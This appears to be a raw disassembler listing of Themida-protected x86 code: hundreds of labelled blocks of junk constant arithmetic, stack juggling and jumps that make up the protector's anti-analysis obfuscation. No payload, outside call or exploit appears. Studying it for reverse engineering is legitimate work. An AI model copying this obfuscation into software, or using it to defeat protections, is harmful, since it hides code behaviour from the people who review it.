add ebp, 5A139E2h
jmp loc_596108
; ---------------------------------------------------------------------------
loc_59E59A: ; CODE XREF: Themida_:00598A46j
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_5A8D82
; ---------------------------------------------------------------------------
loc_59E5A6: ; CODE XREF: Themida_:005A231Aj
and ebx, 693A37ABh
add ebx, 6FFD0A2Ch
mov ebp, ebx
pop ebx
xor ebx, ebp
pop ebp
xor ebx, 0BD8AE193h
add edx, 1D976900h
jmp loc_599E5D
; ---------------------------------------------------------------------------
loc_59E5C9: ; CODE XREF: Themida_:0059DFEEj
dec edx
not edx
sub edx, 800580E3h
add ecx, 60311E90h
sub ecx, edx
sub ecx, 60311E90h
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_5A22D8
; ---------------------------------------------------------------------------
loc_59E5EC: ; CODE XREF: Themida_:0059FD45j
pop ebx
sub edx, 7B5C5DAEh
sub edx, 6B731302h
add edx, ebx
push 6DCFh
mov [esp], ebx
push eax
mov eax, 4AA2B96h
sub eax, 99371894h
mov ebx, eax
pop eax
add edx, ebx
pop ebx
add edx, 7B5C5DAEh
jmp loc_59AF06
; ---------------------------------------------------------------------------
loc_59E61F: ; CODE XREF: Themida_:005A5544j
xor esi, ecx
pop ecx
add esi, 669667BBh
jmp loc_59D1E4
; ---------------------------------------------------------------------------
loc_59E62D: ; CODE XREF: Themida_:005997DCj
mov eax, 0F7B3322h
add ebx, 4C5C2957h
add ebx, eax
sub ebx, 4C5C2957h
jmp loc_5A3A55
; ---------------------------------------------------------------------------
loc_59E645: ; CODE XREF: Themida_:00596F30j
add eax, 4
sub eax, 4
jmp loc_596305
; ---------------------------------------------------------------------------
loc_59E652: ; CODE XREF: Themida_:005A4351j
add dl, bh
mov ebx, [esp]
add esp, 4
jmp loc_59FD78
; ---------------------------------------------------------------------------
loc_59E65F: ; CODE XREF: Themida_:005AA9EFj
mov ebx, edx
pop edx
push esi
mov esi, 72DD2E3Dh
or ebx, esi
pop esi
neg ebx
or ebx, 5E792339h
push ebp
push ebx
jmp loc_5A230F
; ---------------------------------------------------------------------------
loc_59E67A: ; CODE XREF: Themida_:005A2829j
push 2B64h
mov [esp], ebx
mov ebx, 23000E7Dh
xor ebx, 36844DD7h
push edx
mov edx, 0EA7BBC5Ah
add ebx, edx
jmp loc_596EEC
; ---------------------------------------------------------------------------
loc_59E69A: ; CODE XREF: Themida_:005AADB8j
mov esi, 163F2D07h
xor esi, 163F2D03h
add edx, esi
pop esi
xchg edx, [esp]
jmp loc_595F37
; ---------------------------------------------------------------------------
loc_59E6B0: ; CODE XREF: Themida_:005A4D12j
xor ecx, 6CEF61FBh
shr ecx, 6
xchg eax, ecx
not eax
xchg eax, ecx
push ebp
mov ebp, 1C093258h
jmp loc_5AA1D2
; ---------------------------------------------------------------------------
loc_59E6C8: ; CODE XREF: Themida_:0059BB50j
mov ebp, 0E6938C9h
xor ebp, 3FDA7DDFh
jmp loc_596464
; ---------------------------------------------------------------------------
loc_59E6D8: ; CODE XREF: Themida_:005A1EA9j
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59E6DD: ; CODE XREF: Themida_:005A5DD4j
add edx, 0B7131530h
jmp loc_59F812
; ---------------------------------------------------------------------------
loc_59E6E8: ; CODE XREF: Themida_:00596A41j
or ebp, 70237F8Eh
push 362Eh
jmp loc_597756
; ---------------------------------------------------------------------------
loc_59E6F8: ; CODE XREF: Themida_:005A185Ej
pop edx
pop ebx
push esi
mov esi, 50011E0Dh
jmp loc_59C5D3
; ---------------------------------------------------------------------------
loc_59E705: ; CODE XREF: Themida_:005969A1j
add ebx, ebp
add ebx, 7F3E5B81h
jmp loc_5A7E62
; ---------------------------------------------------------------------------
loc_59E712: ; CODE XREF: Themida_:005A7BB9j
mov eax, 6A8C2DE1h
shl eax, 5
neg eax
add eax, 29385B7Bh
jmp loc_5A4EC4
; ---------------------------------------------------------------------------
loc_59E726: ; CODE XREF: Themida_:005A3153j
inc ebp
xor ebp, 652D0AFEh
jmp loc_59D90F
; ---------------------------------------------------------------------------
loc_59E732: ; CODE XREF: Themida_:0059AC76j
pop esp
sub esp, 4
mov [esp], esi
push edi
mov edi, 630F2A0Eh
mov esi, edi
push dword ptr [esp]
pop edi
push esi
jmp loc_59C45A
; ---------------------------------------------------------------------------
loc_59E74E: ; CODE XREF: Themida_:0059F671j
mov edx, ecx
jmp loc_59CBF5
; ---------------------------------------------------------------------------
loc_59E755: ; CODE XREF: Themida_:0059D10Aj
sub ecx, 4ECA0BFEh
add ecx, 54F65CB1h
add ecx, ebx
sub ecx, 54F65CB1h
add ecx, 4ECA0BFEh
pop ebx
add ecx, 2
xchg ecx, [esp]
mov esp, [esp]
imul cl
jmp loc_5A745C
; ---------------------------------------------------------------------------
loc_59E783: ; CODE XREF: Themida_:005A99C2j
pop ax
not ch
xchg ch, dl
shr dl, 8
sub dl, 0DDh
add bl, dl
push dword ptr [esp]
pop edx
push ecx
jmp loc_59BAC0
; ---------------------------------------------------------------------------
push ebx
sub esp, 4
jmp loc_5AA0ED
; ---------------------------------------------------------------------------
loc_59E7A4: ; CODE XREF: Themida_:0059C7DBj
pop eax
sub ebp, 2384915h
jmp loc_5A3581
; ---------------------------------------------------------------------------
loc_59E7B0: ; CODE XREF: Themida_:00598C7Fj
mov esp, [esp]
mov cx, [esp]
jmp loc_5AAC49
; ---------------------------------------------------------------------------
loc_59E7BC: ; CODE XREF: Themida_:0059FBA0j
add esi, edx
add esi, 3B0203A8h
mov edx, [esp]
add esp, 4
jmp loc_5A09BC
; ---------------------------------------------------------------------------
loc_59E7CF: ; CODE XREF: Themida_:0059F0F2j
pop ebx
mov ebx, edi
mov edi, [esp]
add esp, 4
xor esi, ebx
pop ebx
mov eax, esi
jmp loc_5A4843
; ---------------------------------------------------------------------------
loc_59E7E2: ; CODE XREF: Themida_:005A1B6Fj
push 41D2h
mov [esp], esi
push 6BC6h
mov [esp], edi
mov edi, 57326211h
not edi
sub edi, 6ED2409Fh
not edi
and edi, 737A5F79h
push ecx
jmp loc_5A6379
; ---------------------------------------------------------------------------
loc_59E80D: ; CODE XREF: Themida_:005A0C70j
add esp, 4
jmp loc_596022
; ---------------------------------------------------------------------------
mov cx, [esp]
push 9D3h
mov [esp], edi
push esp
pop edi
push eax
jmp loc_5960E3
; ---------------------------------------------------------------------------
loc_59E82C: ; CODE XREF: Themida_:00599D86j
pop ebp
pop dword ptr [esp]
jmp loc_5992A9
; ---------------------------------------------------------------------------
loc_59E835: ; CODE XREF: Themida_:0059AC9Fj
pop edx
add ecx, 4
xchg ecx, [esp]
pop esp
push 7CA1h
jmp loc_5A5B8E
; ---------------------------------------------------------------------------
loc_59E84A: ; CODE XREF: Themida_:0059F0E3j
mov [esp], edx
push ecx
mov ecx, esp
jmp loc_5A9173
; ---------------------------------------------------------------------------
loc_59E855: ; CODE XREF: Themida_:005A5EDAj
push eax
jmp loc_5985C5
; ---------------------------------------------------------------------------
loc_59E85B: ; CODE XREF: Themida_:005A442Dj
add ebp, esi
jmp loc_5AA6FD
; ---------------------------------------------------------------------------
loc_59E862: ; CODE XREF: Themida_:005A4775j
pop ecx
shl edx, 4
inc edx
jmp loc_5A1406
; ---------------------------------------------------------------------------
loc_59E86C: ; CODE XREF: Themida_:0059ED54j
pop edx
jmp loc_59A1D4
; ---------------------------------------------------------------------------
loc_59E872: ; CODE XREF: Themida_:005A1814j
pop ebx
add ebx, ecx
pop ecx
xor ebx, 6B682350h
sub ebx, 0B2F66DEDh
xor ecx, ebx
mov ebx, [esp]
push edi
mov edi, esp
jmp loc_59EDA7
; ---------------------------------------------------------------------------
loc_59E88F: ; CODE XREF: Themida_:005A11FAj
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
jmp loc_5A3CB3
; ---------------------------------------------------------------------------
loc_59E8A2: ; CODE XREF: Themida_:00598889j
push esp
jmp loc_5A9CFE
; ---------------------------------------------------------------------------
loc_59E8A8: ; CODE XREF: Themida_:005AAADCj
shl eax, 4
xor eax, 890149E3h
xor ebx, eax
pop eax
jmp loc_5A9677
; ---------------------------------------------------------------------------
loc_59E8B8: ; CODE XREF: Themida_:005A9301j
add ebp, esi
sub ebp, 7F19784Eh
mov esi, [esp]
jmp loc_5A1000
; ---------------------------------------------------------------------------
loc_59E8C8: ; CODE XREF: Themida_:0059789Aj
pop ecx
add ebx, esi
pop esi
add ebx, 4
jmp loc_5A6393
; ---------------------------------------------------------------------------
loc_59E8D4: ; CODE XREF: Themida_:005A674Bj
push edi
mov edi, 3F827654h
jmp loc_59AD0A
; ---------------------------------------------------------------------------
loc_59E8DF: ; CODE XREF: Themida_:00597EA3j
neg dl
sub dl, 0B0h
sub ah, dl
jmp loc_59F1A6
; ---------------------------------------------------------------------------
loc_59E8EB: ; CODE XREF: Themida_:005A0150j
push edx
mov edx, 0DB167AAh
jmp loc_5999AB
; ---------------------------------------------------------------------------
loc_59E8F6: ; CODE XREF: Themida_:005A617Ej
not ah
not ah
push edx
mov dl, 34h
add dl, 0B5h
shr dl, 1
xor dl, 17h
sub ah, dl
pop edx
mov dh, ah
jmp loc_5A9D0F
; ---------------------------------------------------------------------------
loc_59E90F: ; CODE XREF: Themida_:005A3125j
push 676D1E1Dh
jmp loc_5A74F4
; ---------------------------------------------------------------------------
loc_59E919: ; CODE XREF: Themida_:005987F1j
push ebx
push dword ptr [esp+4]
jmp loc_5A33CA
; ---------------------------------------------------------------------------
mov eax, [esp]
push 3A52h
mov [esp], ebx
push esp
pop ebx
push esi
mov esi, 43FB41FCh
and esi, 4F0906B1h
push edi
mov edi, 1F36232Eh
sub esi, edi
pop edi
push ebx
mov ebx, 70CF1A29h
xor esi, ebx
jmp loc_5995B9
; ---------------------------------------------------------------------------
loc_59E952: ; CODE XREF: Themida_:00599DE7j
or eax, 53C25755h
add eax, 1DFEE82Ch
push eax
mov eax, 4D034523h
sub edi, eax
jmp loc_5A0DFB
; ---------------------------------------------------------------------------
loc_59E969: ; CODE XREF: Themida_:0059DEDAj
pop esp
mov [esp], edi
push dword ptr [esp+4]
mov edi, [esp]
push 4DA2h
mov [esp], edx
jmp loc_59F698
; ---------------------------------------------------------------------------
loc_59E981: ; CODE XREF: Themida_:0059CF59j
mov edi, [esp]
add esp, 4
push 2184h
mov [esp], ebp
push 64306F6Bh
mov ebp, [esp]
add esp, 4
and edi, ebp
pop ebp
jmp loc_5A7661
; ---------------------------------------------------------------------------
loc_59E9A5: ; CODE XREF: Themida_:005999A6j
sub esp, 4
mov [esp], ebx
push 6DFB3815h
pop ebx
inc ebx
xor ebx, 39DB76CFh
push eax
mov eax, ebx
mov edi, eax
pop eax
pop ebx
jmp loc_5A9DC1
; ---------------------------------------------------------------------------
loc_59E9C4: ; CODE XREF: Themida_:005A0FFBj
sub esi, 34756D19h
mov ebp, [esp]
add esp, 4
add esi, 2
xor esi, [esp]
jmp loc_5AB464
; ---------------------------------------------------------------------------
loc_59E9E1: ; CODE XREF: Themida_:005A0490j
mov [esp], ecx
push eax
mov eax, 0D863B56h
mov ecx, 0D863B5Ah
sub ecx, eax
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
add dword ptr [esp+4], 47D75h
add [esp+4], ecx
sub dword ptr [esp+4], 47D75h
push dword ptr [esp]
pop ecx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_5AA175
; ---------------------------------------------------------------------------
loc_59EA35: ; CODE XREF: Themida_:0059F8A6j
push ebp
mov ebp, esp
jmp loc_5A8DAF
; ---------------------------------------------------------------------------
loc_59EA3D: ; CODE XREF: Themida_:005AADDCj
add esp, 4
add ecx, eax
pop eax
jmp loc_5A31C2
; ---------------------------------------------------------------------------
loc_59EA48: ; CODE XREF: Themida_:005A07AFj
pop esi
push 4AD0h
mov [esp], ebx
mov ebx, 4D3400C6h
xchg ebp, ebx
not ebp
jmp loc_596F93
; ---------------------------------------------------------------------------
loc_59EA5F: ; CODE XREF: Themida_:005A53B5j
sub ch, 1
xor ch, 0Ah
push edx
mov dl, ch
push ecx
mov cl, dl
mov bh, cl
pop ecx
pop edx
pop ecx
jmp loc_599EC7
; ---------------------------------------------------------------------------
loc_59EA75: ; CODE XREF: Themida_:005998A4j
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5A23A8
; ---------------------------------------------------------------------------
loc_59EA86: ; CODE XREF: Themida_:00596C36j
mov esi, esp
add esi, 4
jmp loc_5A552B
; ---------------------------------------------------------------------------
loc_59EA93: ; CODE XREF: Themida_:0059C332j
add esp, 4
push ecx
jmp loc_5A6786
; ---------------------------------------------------------------------------
loc_59EA9F: ; CODE XREF: Themida_:005A3FC6j
dec byte ptr [esp]
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59EAA8: ; CODE XREF: Themida_:005A3006j
sub eax, 0DC0AAEA6h
xor ebx, eax
mov eax, [esp]
add esp, 4
xor ecx, ebx
jmp loc_59EE8D
; ---------------------------------------------------------------------------
loc_59EABF: ; CODE XREF: Themida_:0059DA67j
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
jmp loc_598910
; ---------------------------------------------------------------------------
loc_59EAD1: ; CODE XREF: Themida_:005967FBj
pop eax
add [esp+4], esi
add dword ptr [esp+4], 6CEE5C4Fh
mov esi, [esp]
jmp loc_598CF2
; ---------------------------------------------------------------------------
loc_59EAE6: ; CODE XREF: Themida_:005A857Fj
xor ebx, 0C14F8E59h
add edi, ebx
pop ebx
mov ecx, [esp]
add esp, 4
and eax, edi
push dword ptr [esp]
jmp loc_59FF0E
; ---------------------------------------------------------------------------
loc_59EAFF: ; CODE XREF: Themida_:005A98FCj
pop ecx
mov bl, dh
pop edx
add al, 42h
sub al, bl
sub al, 42h
mov bx, [esp]
add esp, 2
jmp loc_5AA3B1
; ---------------------------------------------------------------------------
loc_59EB15: ; CODE XREF: Themida_:005A23A3j
xor ebp, 105B1EB8h
inc ebp
push eax
jmp loc_5A8C3B
; ---------------------------------------------------------------------------
loc_59EB22: ; CODE XREF: Themida_:0059BE5Dj
mov [esp], ebx
mov ebx, 31B50108h
dec ebx
sub ebx, 0D02E846Ch
sub eax, 17926AB1h
jmp loc_5A839F
; ---------------------------------------------------------------------------
loc_59EB3B: ; CODE XREF: Themida_:0059C666j
shr dl, 7
xor dl, 95h
xor dl, 0F6h
xor al, dl
mov dx, [esp]
push 5A60h
jmp loc_598BA3
; ---------------------------------------------------------------------------
loc_59EB54: ; CODE XREF: Themida_:0059A09Cj
push eax
push edx
jmp loc_5A0262
; ---------------------------------------------------------------------------
loc_59EB5B: ; CODE XREF: Themida_:005A9C42j
or edx, ebx
mov ebx, [esp]
add esp, 4
xor edx, 2FF67D73h
jmp loc_5A3718
; ---------------------------------------------------------------------------
loc_59EB71: ; CODE XREF: Themida_:00598F95j
mov bl, dh
pop edx
pop eax
or bl, 0E3h
push ebx
dec byte ptr [esp]
pop ebx
xor bl, 90h
add al, 6Ah
sub al, bl
jmp loc_5A0C55
; ---------------------------------------------------------------------------
loc_59EB89: ; CODE XREF: Themida_:0059B0ADj
add ebx, 5B1F4B68h
jmp loc_5994A8
; ---------------------------------------------------------------------------
loc_59EB94: ; CODE XREF: Themida_:005A523Dj
xor esi, 3B282EBCh
shr esi, 6
jmp loc_59A4BF
; ---------------------------------------------------------------------------
loc_59EBA2: ; CODE XREF: Themida_:005A5D74j
sub ebx, 32234674h
add ebx, edi
push esi
jmp loc_5A7816
; ---------------------------------------------------------------------------
loc_59EBB0: ; CODE XREF: Themida_:005A6495j
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebp
push esp
jmp loc_5A014A
; ---------------------------------------------------------------------------
loc_59EBCB: ; CODE XREF: Themida_:005977C7j
pop esi
add eax, 0DBB5A087h
mov edi, eax
jmp loc_5A1E2C
; ---------------------------------------------------------------------------
loc_59EBD8: ; CODE XREF: Themida_:0059A7B0j
sub ebp, ebx
add ebp, 0D5F20F2h
pop ebx
xor ebp, 7C5D37EBh
jmp loc_5A1790
; ---------------------------------------------------------------------------
loc_59EBEC: ; CODE XREF: Themida_:00596846j
mov [esp], ebp
push eax
push 35356CF5h
pop eax
neg eax
dec eax
add eax, 35356CF7h
jmp loc_5A5DB5
; ---------------------------------------------------------------------------
loc_59EC03: ; CODE XREF: Themida_:005A3A2Dj
xchg esi, [esp]
jmp loc_5A9D8E
; ---------------------------------------------------------------------------
loc_59EC0B: ; CODE XREF: Themida_:00598082j
push ebx
mov ebx, esp
jmp loc_5AA041
; ---------------------------------------------------------------------------
loc_59EC13: ; CODE XREF: Themida_:0059BFACj
push dword ptr [esp]
pop ebp
jmp loc_5A0AC7
; ---------------------------------------------------------------------------
loc_59EC1C: ; CODE XREF: Themida_:005A2DDBj
push 5D5B0E26h
pop ecx
inc ecx
xor ecx, 20DD0F03h
mov esi, ecx
jmp loc_5A8AF2
; ---------------------------------------------------------------------------
loc_59EC30: ; CODE XREF: Themida_:005A46ACj
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
jmp loc_5AA86C
; ---------------------------------------------------------------------------
loc_59EC4A: ; CODE XREF: Themida_:0059FB61j
mov ah, bl
pop ebx
xor ah, 0C1h
mov dh, ah
pop eax
jmp loc_5A0729
; ---------------------------------------------------------------------------
loc_59EC58: ; CODE XREF: Themida_:005A4CB3j
push 3CE3h
mov [esp], edx
push esi
push 32794210h
mov esi, [esp]
jmp loc_599595
; ---------------------------------------------------------------------------
loc_59EC6E: ; CODE XREF: Themida_:00599F8Fj
push dword ptr [esp]
jmp loc_5AACD4
; ---------------------------------------------------------------------------
loc_59EC76: ; CODE XREF: Themida_:00598F01j
xor dword ptr [esp], 6271511Eh
mov eax, [esp]
add esp, 4
push edx
jmp loc_59C2BA
; ---------------------------------------------------------------------------
loc_59EC8C: ; CODE XREF: Themida_:005A2284j
xchg esi, [esp]
mov esp, [esp]
or [esp], ax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59EC9C: ; CODE XREF: Themida_:005AA03Cj
push edx
mov edx, 5EF22BBh
jmp loc_5A364D
; ---------------------------------------------------------------------------
loc_59ECA7: ; CODE XREF: Themida_:005A3659j
push dword ptr [esp]
pop ebp
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_59C4C8
; ---------------------------------------------------------------------------
loc_59ECBF: ; CODE XREF: Themida_:005A4AA3j
add esp, 4
jmp loc_5A32EF
; ---------------------------------------------------------------------------
loc_59ECCA: ; CODE XREF: Themida_:0059DADBj
add esp, 4
and eax, edx
push dword ptr [esp]
pop edx
push edi
jmp loc_5965E8
; ---------------------------------------------------------------------------
loc_59ECDC: ; CODE XREF: Themida_:005A8392j
and dl, 0Fh
shr dl, 8
sub esp, 4
mov [esp], ecx
mov cl, 1Eh
sub cl, 0B1h
and dl, cl
pop ecx
inc dl
jmp loc_5A1584
; ---------------------------------------------------------------------------
loc_59ECF7: ; CODE XREF: Themida_:005A4CEFj
movzx cx, ah
push ebp
push 6480h
sub esp, 4
jmp loc_5A19FB
; ---------------------------------------------------------------------------
loc_59ED0C: ; CODE XREF: Themida_:0059F7D4j
sub esi, 66CE1EDFh
add esi, edi
push ebp
mov ebp, 4C3A6B4Fh
shl ebp, 6
add ebp, 58334B1Fh
add esi, ebp
pop ebp
pop edi
add esi, 2251A96Dh
jmp loc_598C0A
; ---------------------------------------------------------------------------
loc_59ED32: ; CODE XREF: Themida_:005A6740j
add edi, esi
add edi, 256E44ABh
pop esi
jmp loc_5A0480
; ---------------------------------------------------------------------------
loc_59ED40: ; CODE XREF: Themida_:005A2716j
push ebp
mov ebp, 600C394Fh
xor ebp, 16B33AD4h
xor ecx, ebp
pop ebp
xor edx, ecx
pop ecx
add ecx, edx
jmp loc_59E86C
; ---------------------------------------------------------------------------
loc_59ED59: ; CODE XREF: Themida_:005A3D00j
or [edi+1Ch], ebx
push dword ptr [esp]
pop ebx
push 52B4h
jmp loc_598BD4
; ---------------------------------------------------------------------------
loc_59ED6A: ; CODE XREF: Themida_:005AA3ACj
push dx
push ebx
mov bl, 0CBh
jmp loc_5A397C
; ---------------------------------------------------------------------------
loc_59ED74: ; CODE XREF: Themida_:005A5B9Cj
mov edi, 9D1B723Eh
push esi
mov esi, 6657DBAh
add edi, esi
pop esi
sub edi, 3E17175Ch
sub edi, esi
add edi, 3E17175Ch
sub esp, 4
mov [esp], edx
mov edx, 694729B7h
shl edx, 3
shl edx, 8
push ebp
jmp loc_5A1E50
; ---------------------------------------------------------------------------
loc_59EDA7: ; CODE XREF: Themida_:0059E88Aj
add edi, 4
push ecx
jmp loc_5A81A6
; ---------------------------------------------------------------------------
loc_59EDB3: ; CODE XREF: Themida_:005A0EC3j
push small 2582h
mov [esp], dx
push ebx
jmp loc_5AAAA2
; ---------------------------------------------------------------------------
loc_59EDC1: ; CODE XREF: Themida_:0059F6A0j
add edx, ebp
pop ebp
add edx, 4
xchg edx, [esp]
mov esp, [esp]
pop dword ptr [esp]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59EDD5: ; CODE XREF: Themida_:005A78ECj
mov eax, 4B576E2h
sub ebx, 79C7CB2h
sub ebx, eax
add ebx, 79C7CB2h
jmp loc_5AB007
; ---------------------------------------------------------------------------
loc_59EDED: ; CODE XREF: Themida_:005A6C7Bj
pop esp
mov [esp], ebp
mov ebp, 485529D6h
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
jmp loc_59B011
; ---------------------------------------------------------------------------
loc_59EE0A: ; CODE XREF: Themida_:005A4EF0j
pop ebx
add eax, ebp
add eax, 19DD76D7h
pop ebp
jmp loc_59BCFF
; ---------------------------------------------------------------------------
loc_59EE18: ; CODE XREF: Themida_:0059B79Bj
push esi
mov esi, 1CCA1055h
inc esi
sub esi, 4AB17F93h
dec esi
add esi, 2DE76F42h
push esi
pop ebx
pop esi
add edx, ebx
pop ebx
xchg edx, [esp]
mov esp, [esp]
loc_59EE38: ; CODE XREF: Themida_:005A38EFj
push 538Dh
mov [esp], edi
push 4739h
mov [esp], ebx
xor dword ptr [esp], 37525DB5h
pop edi
push esi
push ecx
mov ecx, 6E650AE8h
mov esi, 0A0F36063h
jmp loc_59FB35
; ---------------------------------------------------------------------------
loc_59EE61: ; CODE XREF: Themida_:005A3D83j
push 5DF56046h
jmp loc_5A83C0
; ---------------------------------------------------------------------------
loc_59EE6B: ; CODE XREF: Themida_:005A1A67j
mov edi, 4
jmp loc_5A5CFC
; ---------------------------------------------------------------------------
loc_59EE75: ; CODE XREF: Themida_:005A22DBj
xor [esp], ecx
xor ecx, [esp]
pop esp
mov [esp], ax
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59EE85: ; CODE XREF: Themida_:005AB504j
mov [esp], ecx
jmp loc_5AB152
; ---------------------------------------------------------------------------
loc_59EE8D: ; CODE XREF: Themida_:0059EABAj
pop ebx
and eax, ecx
jmp loc_5A8BA7
; ---------------------------------------------------------------------------
loc_59EE95: ; CODE XREF: Themida_:005A7CA8j
add edi, ebx
jmp loc_598A60
; ---------------------------------------------------------------------------
loc_59EE9C: ; CODE XREF: Themida_:005A65E4j
add ebx, edx
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_59DA6C
; ---------------------------------------------------------------------------
loc_59EEB2: ; CODE XREF: Themida_:005A5A89j
push eax
mov eax, 18137902h
sub esi, eax
pop eax
push eax
jmp loc_5A2C0E
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ebp
sub esp, 4
jmp loc_5A0430
; ---------------------------------------------------------------------------
loc_59EED9: ; CODE XREF: Themida_:005963A9j
xor [esp], ebx
xor ebx, [esp]
pop esp
add [esp], ax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59EEEA: ; CODE XREF: Themida_:005A1AF8j
mov [esp], ebp
push 1CD7h
mov [esp], eax
mov eax, 2
push eax
jmp loc_5965D6
; ---------------------------------------------------------------------------
loc_59EF00: ; CODE XREF: Themida_:00596C7Ej
neg ah
jmp loc_59C9F1
; ---------------------------------------------------------------------------
loc_59EF07: ; CODE XREF: Themida_:005A01F1j
add ecx, 4
add ecx, 4
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
jmp loc_597268
; ---------------------------------------------------------------------------
loc_59EF23: ; CODE XREF: Themida_:005A3631j
sub ecx, eax
pop eax
add ecx, eax
add ecx, 752D09A6h
push eax
mov eax, 78C05CCDh
add ecx, eax
pop eax
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xchg ecx, [esp]
pop esp
mul ecx
push 7CF8h
mov [esp], edx
push eax
pushf
jmp loc_5A7496
; ---------------------------------------------------------------------------
loc_59EF68: ; CODE XREF: Themida_:005AA0D7j
mov ecx, 0D219D698h
add ecx, 520E5431h
add ecx, edx
jmp loc_599975
; ---------------------------------------------------------------------------
loc_59EF7A: ; CODE XREF: Themida_:005A42A2j
pop edi
add eax, esi
mov esi, [esp]
sub esp, 4
mov [esp], ebx
push 1A9Eh
mov [esp], esp
jmp loc_59F768
; ---------------------------------------------------------------------------
loc_59EF93: ; CODE XREF: Themida_:005A6A0Bj
mov esi, 10565787h
jmp loc_5A58C0
; ---------------------------------------------------------------------------
loc_59EF9D: ; CODE XREF: Themida_:005A6F2Cj
pop eax
push eax
mov eax, esp
add eax, 4
push esi
mov esi, 4CC76DBAh
jmp loc_5A8CBC
; ---------------------------------------------------------------------------
loc_59EFB1: ; CODE XREF: Themida_:005AAB5Ej
pop esi
add eax, ebx
pop ebx
push esi
mov esi, 582D18FEh
and esi, 78494D53h
dec esi
not esi
and esi, 1BC866D9h
shl esi, 5
and esi, 18F19D3h
sub esi, 0C10FEh
add eax, esi
jmp loc_5A3165
; ---------------------------------------------------------------------------
loc_59EFE0: ; CODE XREF: Themida_:005AB0C1j
pop ebx
xchg esi, [esp]
pop esp
mov [esp], edx
push esp
push dword ptr [esp]
pop edx
push edi
mov edi, esp
jmp loc_5A76E3
; ---------------------------------------------------------------------------
loc_59EFF5: ; CODE XREF: Themida_:005A31ABj
sub edi, 48C954DAh
add edi, esi
add edi, 48C954DAh
mov esi, [esp]
add esp, 4
xchg edi, [esp]
pop esp
sub esp, 4
mov [esp], edi
push ebp
jmp loc_5A62ED
; ---------------------------------------------------------------------------
loc_59F019: ; CODE XREF: Themida_:005A9D7Cj
sub esp, 4
mov [esp], esi
jmp loc_5A1F07
; ---------------------------------------------------------------------------
loc_59F024: ; CODE XREF: Themida_:00597340j
mov esp, [esp]
btc [esp], ax
pushf
jmp loc_5A67EC
; ---------------------------------------------------------------------------
loc_59F032: ; CODE XREF: Themida_:005A73AEj
pop esi
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
jmp loc_5A1A9E
; ---------------------------------------------------------------------------
loc_59F046: ; CODE XREF: Themida_:0059AE15j
push ecx
mov ecx, 6D5F3EE7h
shl ecx, 3
add ecx, 6A833AA9h
sub ecx, 81C7F162h
xor edx, ecx
pop ecx
jmp loc_5A9DD4
; ---------------------------------------------------------------------------
loc_59F063: ; CODE XREF: Themida_:005AA929j
push 1728h
mov [esp], ebp
mov ebp, esp
add ebp, 4
push ecx
mov ecx, 1FA65A13h
jmp loc_59D927
; ---------------------------------------------------------------------------
loc_59F07E: ; CODE XREF: Themida_:005A32A2j
mov ebx, [esp]
jmp loc_59F872
; ---------------------------------------------------------------------------
loc_59F086: ; CODE XREF: Themida_:005A01E9j
push dword ptr [esp]
mov ecx, [esp]
push edi
mov edi, esp
push ecx
mov ecx, 50941F65h
jmp loc_5A15F6
; ---------------------------------------------------------------------------
loc_59F09A: ; CODE XREF: Themida_:005AA880j
pop eax
jmp loc_5AB509
; ---------------------------------------------------------------------------
loc_59F0A0: ; CODE XREF: Themida_:0059DB89j
pop ax
not ch
inc ch
add ch, 0E5h
xor dl, ch
pop ecx
xor al, dl
pop edx
push edx
mov dl, 52h
sub dl, 45h
push ax
mov al, ch
push eax
mov al, dl
jmp loc_5A99BD
; ---------------------------------------------------------------------------
loc_59F0C1: ; CODE XREF: Themida_:00597200j
push ecx
push esp
mov ecx, [esp]
push ebx
push esp
jmp loc_59C79A
; ---------------------------------------------------------------------------
loc_59F0CD: ; CODE XREF: Themida_:005A7B60j
sub bl, 9Ch
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_59E84A
; ---------------------------------------------------------------------------
loc_59F0E8: ; CODE XREF: Themida_:005A9917j
mov [esp], ebx
mov ebx, 52A24A11h
add edi, ebx
jmp loc_59E7CF
; ---------------------------------------------------------------------------
loc_59F0F7: ; CODE XREF: Themida_:0059C35Fj
mov [esp], ebx
mov bl, ah
mov ch, bl
mov ebx, [esp]
add esp, 4
mov bl, ch
pop ecx
pop eax
push 13C7h
mov [esp], edx
push ecx
mov cl, 0AAh
shl cl, 2
add cl, 4Ch
mov dl, cl
jmp loc_59C3EF
; ---------------------------------------------------------------------------
loc_59F120: ; CODE XREF: Themida_:0059D746j
push ecx
mov ecx, esp
push edi
push eax
mov eax, 281265FAh
push ebx
mov ebx, 53CF1A5Ah
sub ebx, 0D6ACE55Eh
and eax, ebx
mov ebx, [esp]
add esp, 4
xor eax, 27B94A10h
sub eax, 125B363Eh
shr eax, 4
and eax, 39A01373h
add eax, 15777502h
mov edi, eax
pop eax
shr edi, 5
push esi
mov esi, 0FF084444h
add edi, 27853C07h
add edi, esi
jmp loc_5A4AD4
; ---------------------------------------------------------------------------
